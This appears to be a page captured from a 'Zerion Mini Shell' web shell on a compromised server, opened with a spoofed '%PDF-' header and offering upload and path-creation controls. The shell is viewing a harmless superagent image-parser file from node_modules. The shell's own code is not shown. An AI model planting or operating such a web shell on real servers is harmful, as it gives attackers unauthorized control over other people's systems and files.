%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/superagent/lib/node/parsers/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/superagent/lib/node/parsers/image.js

'use strict';

module.exports = (res, fn) => {
  const data = []; // Binary data needs binary storage

  res.on('data', chunk => {
    data.push(chunk);
  });
  res.on('end', () => {
    fn(null, Buffer.concat(data));
  });
};

Zerion Mini Shell 1.0